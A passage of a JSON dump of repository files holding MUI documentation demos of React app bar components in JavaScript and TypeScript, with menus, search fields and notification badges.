}}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography variant=\"h6\" component=\"div\" sx={{ flexGrow: 1 }}>\n            Photos\n          </Typography>\n          {auth && (\n            <div>\n              <IconButton\n                size=\"large\"\n                aria-label=\"account of current user\"\n                aria-controls=\"menu-appbar\"\n                aria-haspopup=\"true\"\n                onClick={handleMenu}\n                color=\"inherit\"\n              >\n                <AccountCircle />\n              </IconButton>\n              <Menu\n                id=\"menu-appbar\"\n                anchorEl={anchorEl}\n                anchorOrigin={{\n                  vertical: 'top',\n                  horizontal: 'right',\n                }}\n                keepMounted\n                transformOrigin={{\n                  vertical: 'top',\n                  horizontal: 'right',\n                }}\n                open={Boolean(anchorEl)}\n                onClose={handleClose}\n              >\n                <MenuItem onClick={handleClose}>Profile</MenuItem>\n                <MenuItem onClick={handleClose}>My account</MenuItem>\n              </Menu>\n            </div>\n          )}\n        </Toolbar>\n      </AppBar>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/MenuAppBar.tsx",
    "content": "import * as React from 'react';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport AccountCircle from '@mui/icons-material/AccountCircle';\nimport Switch from '@mui/material/Switch';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormGroup from '@mui/material/FormGroup';\nimport MenuItem from '@mui/material/MenuItem';\nimport Menu from '@mui/material/Menu';\n\nexport default function MenuAppBar() {\n  const [auth, setAuth] = React.useState(true);\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setAuth(event.target.checked);\n  };\n\n  const handleMenu = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <FormGroup>\n        <FormControlLabel\n          control={\n            <Switch\n              checked={auth}\n              onChange={handleChange}\n              aria-label=\"login switch\"\n            />\n          }\n          label={auth ? 'Logout' : 'Login'}\n        />\n      </FormGroup>\n      <AppBar position=\"static\">\n        <Toolbar>\n          <IconButton\n            size=\"large\"\n            edge=\"start\"\n            color=\"inherit\"\n            aria-label=\"menu\"\n            sx={{ mr: 2 }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography variant=\"h6\" component=\"div\" sx={{ flexGrow: 1 }}>\n            Photos\n          </Typography>\n          {auth && (\n            <div>\n              <IconButton\n                size=\"large\"\n                aria-label=\"account of current user\"\n                aria-controls=\"menu-appbar\"\n                aria-haspopup=\"true\"\n                onClick={handleMenu}\n                color=\"inherit\"\n              >\n                <AccountCircle />\n              </IconButton>\n              <Menu\n                id=\"menu-appbar\"\n                anchorEl={anchorEl}\n                anchorOrigin={{\n                  vertical: 'top',\n                  horizontal: 'right',\n                }}\n                keepMounted\n                transformOrigin={{\n                  vertical: 'top',\n                  horizontal: 'right',\n                }}\n                open={Boolean(anchorEl)}\n                onClose={handleClose}\n              >\n                <MenuItem onClick={handleClose}>Profile</MenuItem>\n                <MenuItem onClick={handleClose}>My account</MenuItem>\n              </Menu>\n            </div>\n          )}\n        </Toolbar>\n      </AppBar>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/PrimarySearchAppBar.js",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport InputBase from '@mui/material/InputBase';\nimport Badge from '@mui/material/Badge';\nimport MenuItem from '@mui/material/MenuItem';\nimport Menu from '@mui/material/Menu';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport SearchIcon from '@mui/icons-material/Search';\nimport AccountCircle from '@mui/icons-material/AccountCircle';\nimport MailIcon from '@mui/icons-material/Mail';\nimport NotificationsIcon from '@mui/icons-material/Notifications';\nimport MoreIcon from '@mui/icons-material/MoreVert';\n\nconst Search = styled('div')(({ theme }) => ({\n  position: 'relative',\n  borderRadius: theme.shape.borderRadius,\n  backgroundColor: alpha(theme.palette.common.white, 0.15),\n  '&:hover': {\n    backgroundColor: alpha(theme.palette.common.white, 0.25),\n  },\n  marginRight: theme.spacing(2),\n  marginLeft: 0,\n  width: '100%',\n  [theme.breakpoints.up('sm')]: {\n    marginLeft: theme.spacing(3),\n    width: 'auto',\n  },\n}));\n\nconst SearchIconWrapper = styled('div')(({ theme }) => ({\n  padding: theme.spacing(0, 2),\n  height: '100%',\n  position: 'absolute',\n  pointerEvents: 'none',\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'center',\n}));\n\nconst StyledInputBase = styled(InputBase)(({ theme }) => ({\n  color: 'inherit',\n  '& .MuiInputBase-input': {\n    padding: theme.spacing(1, 1, 1, 0),\n    // vertical padding + font size from searchIcon\n    paddingLeft: `calc(1em + ${theme.spacing(4)})`,\n    transition: theme.transitions.create('width'),\n    width: '100%',\n    [theme.breakpoints.up('md')]: {\n      width: '20ch',\n    },\n  },\n}));\n\nexport default function PrimarySearchAppBar() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const [mobileMoreAnchorEl, setMobileMoreAnchorEl] = React.useState(null);\n\n  const isMenuOpen = Boolean(anchorEl);\n  const isMobileMenuOpen = Boolean(mobileMoreAnchorEl);\n\n  const handleProfileMenuOpen = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handleMobileMenuClose = () => {\n    setMobileMoreAnchorEl(null);\n  };\n\n  const handleMenuClose = () => {\n    setAnchorEl(null);\n    handleMobileMenuClose();\n  };\n\n  const handleMobileMenuOpen = (event) => {\n    setMobileMoreAnchorEl(event.currentTarget);\n  };\n\n  const menuId = 'primary-search-account-menu';\n  const renderMenu = (\n    <Menu\n      anchorEl={anchorEl}\n      anchorOrigin={{\n        vertical: 'top',\n        horizontal: 'right',\n      }}\n      id={menuId}\n      keepMounted\n      transformOrigin={{\n        vertical: 'top',\n        horizontal: 'right',\n      }}\n      open={isMenuOpen}\n      onClose={handleMenuClose}\n    >\n      <MenuItem onClick={handleMenuClose}>Profile</MenuItem>\n      <MenuItem onClick={handleMenuClose}>My account</MenuItem>\n    </Menu>\n  );\n\n  const mobileMenuId = 'primary-search-account-menu-mobile';\n  const renderMobileMenu = (\n    <Menu\n      anchorEl={mobileMoreAnchorEl}\n      anchorOrigin={{\n        vertical: 'top',\n        horizontal: 'right',\n      }}\n      id={mobileMenuId}\n      keepMounted\n      transformOrigin={{\n        vertical: 'top',\n        horizontal: 'right',\n      }}\n      open={isMobileMenuOpen}\n      onClose={handleMobileMenuClose}\n    >\n      <MenuItem>\n        <IconButton size=\"large\" aria-label=\"show 4 new mails\" color=\"inherit\">\n          <Badge badgeContent={4} color=\"error\">\n            <MailIcon />\n          </Badge>\n        </IconButton>\n        <p>Messages</p>\n      </MenuItem>\n      <MenuItem>\n        <IconButton\n          size=\"large\"\n          aria-label=\"show 17 new notifications\"\n          color=\"inherit\"\n        >\n          <Badge badgeContent={17} color=\"error\">\n            <NotificationsIcon />\n          </Badge>\n        </IconButton>\n        <p>Notifications</p>\n      </MenuItem>\n      <MenuItem onClick={handleProfileMenuOpen}>\n        <IconButton\n          size=\"large\"\n          aria-label=\"account of current user\"\n          aria-controls=\"primary-search-account-menu\"\n          aria-haspopup=\"true\"\n          color=\"inherit\"\n        >\n          <AccountCircle />\n        </IconButton>\n        <p>Profile</p>\n      </MenuItem>\n    </Menu>\n  );\n\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <AppBar position=\"static\">\n        <Toolbar>\n          <IconButton\n            size=\"large\"\n            edge=\"start\"\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            sx={{ mr: 2 }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography\n            variant=\"h6\"\n            noWrap\n            component=\"div\"\n            sx={{ display: { xs: 'none', sm: 'block' } }}\n          >\n            MUI\n          </Typography>\n          <Search>\n            <SearchIconWrapper>\n              <SearchIcon />\n            </SearchIconWrapper>\n            <StyledInputBase\n              placeholder=\"Search…\"\n              inputProps={{ 'aria-label': 'search' }}\n            />\n          </Search>\n          <Box sx={{ flexGrow: 1 }} />\n          <Box sx={{ display: { xs: 'none', md: 'flex' } }}>\n            <IconButton size=\"large\" aria-label=\"show 4 new mails\" color=\"inherit\">\n              <Badge badgeContent={4} color=\"error\">\n                <MailIcon />\n              </Badge>\n            </IconButton>\n            <IconButton\n              size=\"large\"\n              aria-label=\"show 17 new notifications\"\n              color=\"inherit\"\n            >\n              <Badge badgeContent={17} color=\"error\">\n                <NotificationsIcon />\n              </Badge>\n            </IconButton>\n            <IconButton\n              size=\"large\"\n              edge=\"end\"\n              aria-label=\"account of current user\"\n              aria-controls={menuId}\n              aria-haspopup=\"true\"\n              onClick={handleProfileMenuOpen}\n              color=\"inherit\"\n            >\n              <AccountCircle />\n            </IconButton>\n          </Box>\n          <Box sx={{ display: { xs: 'flex', md: 'none' } }}>\n            <IconButton\n              size=\"large\"\n              aria-label=\"show more\"\n              aria-controls={mobileMenuId}\n              aria-haspopup=\"true\"\n              onClick={handleMobileMenuOpen}\n              color=\"inherit\"\n            >\n              <MoreIcon />\n            </IconButton>\n          </Box>\n        </Toolbar>\n      </AppBar>\n      {renderMobileMenu}\n      {renderMenu}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/PrimarySearchAppBar.tsx",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport InputBase from '@mui/material/InputBase';\nimport Badge from '@mui/material/Badge';\nimport MenuItem from '@mui/material/MenuItem';\nimport Menu from '@mui/material/Menu';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport SearchIcon from '@mui/icons-material/Search';\nimport AccountCircle from '@mui/icons-material/AccountCircle';\nimport MailIcon from '@mui/icons-material/Mail';\nimport NotificationsIcon from '@mui/icons-material/Notifications';\nimport MoreIcon from '@mui/icons-material/MoreVert';\n\nconst Search = styled('div')(({ theme }) => ({\n  position: 'relative',\n  borderRadius: theme.shape.borderRadius,\n  backgroundColor: alpha(theme.palette.common.white, 0.15),\n  '&:hover': {\n    backgroundColor: alpha(theme.palette.common.white, 0.25),\n  },\n  marginRight: theme.spacing(2),\n  marginLeft: 0,\n  width: '100%',\n  [theme.breakpoints.up('sm')]: {\n    marginLeft: theme.spacing(3),\n    width: 'auto',\n  },\n}));\n\nconst SearchIconWrapper = styled('div')(({ theme }) => ({\n  padding: theme.spacing(0, 2),\n  height: '100%',\n  position: 'absolute',\n  pointerEvents: 'none',\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'center',\n}));\n\nconst StyledInputBase = styled(InputBase)(({ theme }) => ({\n  color: 'inherit',\n  '& .MuiInputBase-input': {\n    padding: theme.spacing(1, 1, 1, 0),\n    // vertical padding + font size from searchIcon\n    paddingLeft: `calc(1em + ${theme.spacing(4)})`,\n    transition: theme.transitions.create('width'),\n    width: '100%',\n    [theme.breakpoints.up('md')]: {\n      width: '20ch',\n    },\n  },\n}));\n\nexport default function PrimarySearchAppBar() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const [mobileMoreAnchorEl, setMobileMoreAnchorEl] =\n    React.useState<null | HTMLElement>(null);\n\n  const isMenuOpen = Boolean(anchorEl);\n  const isMobileMenuOpen = Boolean(mobileMoreAnchorEl);\n\n  const handleProfileMenuOpen = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handleMobileMenuClose = () => {\n    setMobileMoreAnchorEl(null);\n  };\n\n  const handleMenuClose = () => {\n    setAnchorEl(null);\n    handleMobileMenuClose();\n  };\n\n  const handleMobileMenuOpen = (event: React.MouseEvent<HTMLElement>) => {\n    setMobileMoreAnchorEl(event.currentTarget);\n  };\n\n  const menuId = 'primary-search-account-menu';\n  const renderMenu = (\n    <Menu\n      anchorEl={anchorEl}\n      anchorOrigin={{\n        vertical: 'top',\n        horizontal: 'right',\n      }}\n      id={menuId}\n      keepMounted\n      transformOrigin={{\n        vertical: 'top',\n        horizontal: 'right',\n      }}\n      open={isMenuOpen}\n      onClose={handleMenuClose}\n    >\n      <MenuItem onClick={handleMenuClose}>Profile</MenuItem>\n      <MenuItem onClick={handleMenuClose}>My account</MenuItem>\n    </Menu>\n  );\n\n  const mobileMenuId = 'primary-search-account-menu-mobile';\n  const renderMobileMenu = (\n    <Menu\n      anchorEl={mobileMoreAnchorEl}\n      anchorOrigin={{\n        vertical: 'top',\n        horizontal: 'right',\n      }}\n      id={mobileMenuId}\n      keepMounted\n      transformOrigin={{\n        vertical: 'top',\n        horizontal: 'right',\n      }}\n      open={isMobileMenuOpen}\n      onClose={handleMobileMenuClose}\n    >\n      <MenuItem>\n        <IconButton size=\"large\" aria-label=\"show 4 new mails\" color=\"inherit\">\n          <Badge badgeContent={4} color=\"error\">\n            <MailIcon />\n          </Badge>\n        </IconButton>\n        <p>Messages</p>\n      </MenuItem>\n      <MenuItem>\n        <IconButton\n          size=\"large\"\n          aria-label=\"show 17 new notifications\"\n          color=\"inherit\"\n        >\n          <Badge badgeContent={17} color=\"error\">\n            <NotificationsIcon />\n          </Badge>\n        </IconButton>\n        <p>Notifications</p>\n      </MenuItem>\n      <MenuItem onClick={handleProfileMenuOpen}>\n        <IconButton\n          size=\"large\"\n          aria-label=\"account of current user\"\n          aria-controls=\"primary-search-account-menu\"\n          aria-haspopup=\"true\"\n          color=\"inherit\"\n        >\n          <AccountCircle />\n        </IconButton>\n        <p>Profile</p>\n      </MenuItem>\n    </Menu>\n  );\n\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <AppBar position=\"static\">\n        <Toolbar>\n          <IconButton\n            size=\"large\"\n            edge=\"start\"\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            sx={{ mr: 2 }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography\n            variant=\"h6\"\n            noWrap\n            component=\"div\"\n            sx={{ display: { xs: 'none', sm: 'block' } }}\n          >\n            MUI\n          </Typography>\n          <Search>\n            <SearchIconWrapper>\n              <SearchIcon />\n            </SearchIconWrapper>\n            <StyledInputBase\n              placeholder=\"Search…\"\n              inputProps={{ 'aria-label': 'search' }}\n            />\n          </Search>\n          <Box sx={{ flexGrow: 1 }} />\n          <Box sx={{ display: { xs: 'none', md: 'flex' } }}>\n            <IconButton size=\"large\" aria-label=\"show 4 new mails\" color=\"inherit\">\n              <Badge badgeContent={4} color=\"error\">\n                <MailIcon />\n              </Badge>\n            </IconButton>\n            <IconButton\n              size=\"large\"\n              aria-label=\"show 17 new notifications\"\n              color=\"inherit\"\n            >\n              <Badge badgeContent={17} color=\"error\">\n                <NotificationsIcon />\n              </Badge>\n            </IconButton>\n            <IconButton\n              size=\"large\"\n              edge=\"end\"\n              aria-label=\"account of current user\"\n              aria-controls={menuId}\n              aria-haspopup=\"true\"\n              onClick={handleProfileMenuOpen}\n              color=\"inherit\"\n            >\n              <AccountCircle />\n            </IconButton>\n          </Box>\n          <Box sx={{ display: { xs: 'flex', md: 'none' } }}>\n            <IconButton\n              size=\"large\"\n              aria-label=\"show more\"\n              aria-controls={mobileMenuId}\n              aria-haspopup=\"true\"\n              onClick={handleMobileMenuOpen}\n              color=\"inherit\"\n            >\n              <MoreIcon />\n            </IconButton>\n          </Box>\n        </Toolbar>\n      </AppBar>\n      {renderMobileMenu}\n      {renderMenu}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/ProminentAppBar.js",
    "content": "import { styled } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport SearchIcon from '@mui/icons-material/Search';\nimport MoreIcon from '@mui/icons-material/MoreVert';\n\nconst StyledToolbar = styled(Toolbar)(({ theme }) => ({\n  alignItems: 'flex-start',\n  paddingTop: theme.spacing(1),\n  paddingBottom: theme.spacing(2),\n  // Override media queries injected by theme.mixins.toolbar\n  '@media all': {\n    minHeight: 128,\n  },\n}));\n\nexport default function ProminentAppBar() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <AppBar position=\"static\">\n        <StyledToolbar>\n          <IconButton\n            size=\"large\"\n            edge=\"start\"\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            sx={{ mr: 2 }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography\n            variant=\"h5\"\n            noWrap\n            component=\"div\"\n            sx={{ flexGrow: 1, alignSelf: 'flex-end' }}\n          >\n            MUI\n          </Typography>\n          <IconButton size=\"large\" aria-label=\"search\" color=\"inherit\">\n            <SearchIcon />\n          </IconButton>\n          <IconButton\n            size=\"large\"\n            aria-label=\"display more actions\"\n            edge=\"end\"\n            color=\"inherit\"\n          >\n            <MoreIcon />\n          </IconButton>\n        </StyledToolbar>\n      </AppBar>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/ProminentAppBar.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport SearchIcon from '@mui/icons-material/Search';\nimport MoreIcon from '@mui/icons-material/MoreVert';\n\nconst StyledToolbar = styled(Toolbar)(({ theme }) => ({\n  alignItems: 'flex-start',\n  paddingTop: theme.spacing(1),\n  paddingBottom: theme.spacing(2),\n  // Override media queries injected by theme.mixins.toolbar\n  '@media all': {\n    minHeight: 128,\n  },\n}));\n\nexport default function ProminentAppBar() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <AppBar position=\"static\">\n        <StyledToolbar>\n          <IconButton\n            size=\"large\"\n            edge=\"start\"\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            sx={{ mr: 2 }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography\n            variant=\"h5\"\n            noWrap\n            component=\"div\"\n            sx={{ flexGrow: 1, alignSelf: 'flex-end' }}\n          >\n            MUI\n          </Typography>\n          <IconButton size=\"large\" aria-label=\"search\" color=\"inherit\">\n            <SearchIcon />\n          </IconButton>\n          <IconButton\n            size=\"large\"\n            aria-label=\"display more actions\"\n            edge=\"end\"\n            color=\"inherit\"\n          >\n            <MoreIcon />\n          </IconButton>\n        </StyledToolbar>\n      </AppBar>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/ResponsiveAppBar.js",
    "content": "import * as React from 'react';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport Menu from '@mui/material/Menu';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport Container from '@mui/material/Container';\nimport Avatar from '@mui/material/Avatar';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\nimport MenuItem from '@mui/material/MenuItem';\nimport AdbIcon from '@mui/icons-material/Adb';\n\nconst pages = ['Products', 'Pricing', 'Blog'];\nconst settings = ['Profile', 'Account', 'Dashboard', 'Logout'];\n\nfunction ResponsiveAppBar() {\n  const [anchorElNav, setAnchorElNav] = React.useState(null);\n  const [anchorElUser, setAnchorElUser] = React.useState(null);\n\n  const handleOpenNavMenu = (event) => {\n    setAnchorElNav(event.currentTarget);\n  };\n  const handleOpenUserMenu = (event) => {\n    setAnchorElUser(event.currentTarget);\n  };\n\n  const handleCloseNavMenu = () => {\n    setAnchorElNav(null);\n  };\n\n  const handleCloseUserMenu = () => {\n    setAnchorElUser(null);\n  };\n\n  return (\n    <AppBar position=\"static\">\n      <Container maxWidth=\"xl\">\n        <Toolbar disableGutters>\n          <AdbIcon sx={{ display: { xs: 'none', md: 'flex' }, mr: 1 }} />\n          <Typography\n            variant=\"h6\"\n            noWrap\n            component=\"a\"\n            href=\"#app-bar-with-responsive-menu\"\n            sx={{\n              mr: 2,\n              display: { xs: 'none', md: 'flex' },\n              fontFamily: 'monospace',\n              fontWeight: 700,\n              letterSpacing: '.3rem',\n              color: 'inherit',\n              textDecoration: 'none',\n            }}\n          >\n            LOGO\n          </Typography>\n\n          <Box sx={{ flexGrow: 1, display: { xs: 'flex', md: 'none' } }}>\n            <IconButton\n              size=\"large\"\n              aria-label=\"account of current user\"\n              aria-controls=\"menu-appbar\"\n              aria-haspopup=\"true\"\n              onClick={handleOpenNavMenu}\n              color=\"inherit\"\n            >\n              <MenuIcon />\n            </IconButton>\n            <Menu\n              id=\"menu-appbar\"\n              anchorEl={anchorElNav}\n              anchorOrigin={{\n                vertical: 'bottom',\n                horizontal: 'left',\n              }}\n              keepMounted\n              transformOrigin={{\n                vertical: 'top',\n                horizontal: 'left',\n              }}\n              open={Boolean(anchorElNav)}\n              onClose={handleCloseNavMenu}\n              sx={{ display: { xs: 'block', md: 'none' } }}\n            >\n              {pages.map((page) => (\n                <MenuItem key={page} onClick={handleCloseNavMenu}>\n                  <Typography sx={{ textAlign: 'center' }}>{page}</Typography>\n                </MenuItem>\n              ))}\n            </Menu>\n          </Box>\n          <AdbIcon sx={{ display: { xs: 'flex', md: 'none' }, mr: 1 }} />\n          <Typography\n            variant=\"h5\"\n            noWrap\n            component=\"a\"\n            href=\"#app-bar-with-responsive-menu\"\n            sx={{\n              mr: 2,\n              display: { xs: 'flex', md: 'none' },\n              flexGrow: 1,\n              fontFamily: 'monospace',\n              fontWeight: 700,\n              letterSpacing: '.3rem',\n              color: 'inherit',\n              textDecoration: 'none',\n            }}\n          >\n            LOGO\n          </Typography>\n          <Box sx={{ flexGrow: 1, display: { xs: 'none', md: 'flex' } }}>\n            {pages.map((page) => (\n              <Button\n                key={page}\n                onClick={handleCloseNavMenu}\n                sx={{ my: 2, color: 'white', display: 'block' }}\n              >\n                {page}\n              </Button>\n            ))}\n          </Box>\n          <Box sx={{ flexGrow: 0 }}>\n            <Tooltip title=\"Open settings\">\n              <IconButton onClick={handleOpenUserMenu} sx={{ p: 0 }}>\n                <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/2.jpg\" />\n              </IconButton>\n            </Tooltip>\n            <Menu\n              sx={{ mt: '45px' }}\n              id=\"menu-appbar\"\n              anchorEl={anchorElUser}\n              anchorOrigin={{\n                vertical: 'top',\n                horizontal: 'right',\n              }}\n              keepMounted\n              transformOrigin={{\n                vertical: 'top',\n                horizontal: 'right',\n              }}\n              open={Boolean(anchorElUser)}\n              onClose={handleCloseUserMenu}\n            >\n              {settings.map((setting) => (\n                <MenuItem key={setting} onClick={handleCloseUserMenu}>\n                  <Typography sx={{ textAlign: 'center' }}>{setting}</Typography>\n                </MenuItem>\n              ))}\n            </Menu>\n          </Box>\n        </Toolbar>\n      </Container>\n    </AppBar>\n  );\n}\nexport default ResponsiveAppBar;\n"
  },
  {
    "path": "docs/data/material/components/app-bar/ResponsiveAppBar.tsx",
    "content": "import * as React from 'react';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport Menu from '@mui/material/Menu';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport Container from '@mui/material/Container';\nimport Avatar from '@mui/material/Avatar';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\nimport MenuItem from '@mui/material/MenuItem';\nimport AdbIcon from '@mui/icons-material/Adb';\n\nconst pages = ['Products', 'Pricing', 'Blog'];\nconst settings = ['Profile', 'Account', 'Dashboard', 'Logout'];\n\nfunction ResponsiveAppBar() {\n  const [anchorElNav, setAnchorElNav] = React.useState<null | HTMLElement>(null);\n  const [anchorElUser, setAnchorElUser] = React.useState<null | HTMLElement>(null);\n\n  const handleOpenNavMenu = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorElNav(event.currentTarget);\n  };\n  const handleOpenUserMenu = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorElUser(event.currentTarget);\n  };\n\n  const handleCloseNavMenu = () => {\n    setAnchorElNav(null);\n  };\n\n  const handleCloseUserMenu = () => {\n    setAnchorElUser(null);\n  };\n\n  return (\n    <AppBar position=\"static\">\n      <Container maxWidth=\"xl\">\n        <Toolbar disableGutters>\n          <AdbIcon sx={{ display: { xs: 'none', md: 'flex' }, mr: 1 }} />\n          <Typography\n            variant=\"h6\"\n            noWrap\n            component=\"a\"\n            href=\"#app-bar-with-responsive-menu\"\n            sx={{\n              mr: 2,\n              display: { xs: 'none', md: 'flex' },\n              fontFamily: 'monospace',\n              fontWeight: 700,\n              letterSpacing: '.3rem',\n              color: 'inherit',\n              textDecoration: 'none',\n            }}\n          >\n            LOGO\n          </Typography>\n\n          <Box sx={{ flexGrow: 1, display: { xs: 'flex', md: 'none' } }}>\n            <IconButton\n              size=\"large\"\n              aria-label=\"account of current user\"\n              aria-controls=\"menu-appbar\"\n              aria-haspopup=\"true\"\n              onClick={handleOpenNavMenu}\n              color=\"inherit\"\n            >\n              <MenuIcon />\n            </IconButton>\n            <Menu\n              id=\"menu-appbar\"\n              anchorEl={anchorElNav}\n              anchorOrigin={{\n                vertical: 'bottom',\n                horizontal: 'left',\n              }}\n              keepMounted\n              transformOrigin={{\n                vertical: 'top',\n                horizontal: 'left',\n              }}\n              open={Boolean(anchorElNav)}\n              onClose={handleCloseNavMenu}\n              sx={{ display: { xs: 'block', md: 'none' } }}\n            >\n              {pages.map((page) => (\n                <MenuItem key={page} onClick={handleCloseNavMenu}>\n                  <Typography sx={{ textAlign: 'center' }}>{page}</Typography>\n                </MenuItem>\n              ))}\n            </Menu>\n          </Box>\n          <AdbIcon sx={{ display: { xs: 'flex', md: 'none' }, mr: 1 }} />\n          <Typography\n            variant=\"h5\"\n            noWrap\n            component=\"a\"\n            href=\"#app-bar-with-responsive-menu\"\n            sx={{\n              mr: 2,\n              display: { xs: 'flex', md: 'none' },\n              flexGrow: 1,\n              fontFamily: 'monospace',\n              fontWeight: 700,\n              letterSpacing: '.3rem',\n              color: 'inherit',\n              textDecoration: 'none',\n            }}\n          >\n            LOGO\n          </Typography>\n          <Box sx={{ flexGrow: 1, display: { xs: 'none', md: 'flex' } }}>\n            {pages.map((page) => (\n              <Button\n                key={page}\n                onClick={handleCloseNavMenu}\n                sx={{ my: 2, color: 'white', display: 'block' }}\n              >\n                {page}\n              </Button>\n            ))}\n          </Box>\n          <Box sx={{ flexGrow: 0 }}>\n            <Tooltip title=\"Open settings\">\n              <IconButton onClick={handleOpenUserMenu} sx={{ p: 0 }}>\n                <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/2.jpg\" />\n              </IconButton>\n            </Tooltip>\n            <Menu\n              sx={{ mt: '45px' }}\n              id=\"menu-appbar\"\n              anchorEl={anchorElUser}\n              anchorOrigin={{\n                vertical: 'top',\n                horizontal: 'right',\n              }}\n              keepMounted\n              transformOrigin={{\n                vertical: 'top',\n                horizontal: 'right',\n              }}\n              open={Boolean(anchorElUser)}\n              onClose={handleCloseUserMenu}\n            >\n              {settings.map((setting) => (\n                <MenuItem key={setting} onClick={handleCloseUserMenu}>\n                  <Typography sx={{ textAlign: 'center' }}>{setting}</Typography>\n                </MenuItem>\n              ))}\n            </Menu>\n          </Box>\n        </Toolbar>\n      </Container>\n    </AppBar>\n  );\n}\nexport default ResponsiveAppBar;\n"
  },
  {
    "path": "docs/data/material/components/app-bar/SearchAppBar.js",
    "content": "import { styled, alpha } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport InputBase from '@mui/material/InputBase';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport SearchIcon from '@mui/icons-material/Search';\n\nconst Search = styled('div')(({ theme }) => ({\n  position: 'relative',\n  borderRadius: theme.shape.borderRadius,\n  backgroundColor: alpha(theme.palette.common.white, 0.15),\n  '&:hover': {\n    backgroundColor: alpha(theme.palette.common.white, 0.25),\n  },\n  marginLeft: 0,\n  width: '100%',\n  [theme.breakpoints.up('sm')]: {\n    marginLeft: theme.spacing(1),\n    width: 'auto',\n  },\n}));\n\nconst SearchIconWrapper = styled('div')(({ theme }) => ({\n  padding: theme.spacing(0, 2),\n  height: '100%',\n  position: 'absolute',\n  pointerEvents: 'none',\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'center',\n}));\n\nconst StyledInputBase = styled(InputBase)(({ theme }) => ({\n  color: 'inherit',\n  width: '100%',\n  '& .MuiInputBase-input': {\n    padding: theme.spacing(1, 1, 1, 0),\n    // vertical padding + font size from searchIcon\n    paddingLeft: `calc(1em + ${theme.spacing(4)})`,\n    transition: theme.transitions.create('width'),\n    [theme.breakpoints.up('sm')]: {\n      width: '12ch',\n      '&:focus': {\n        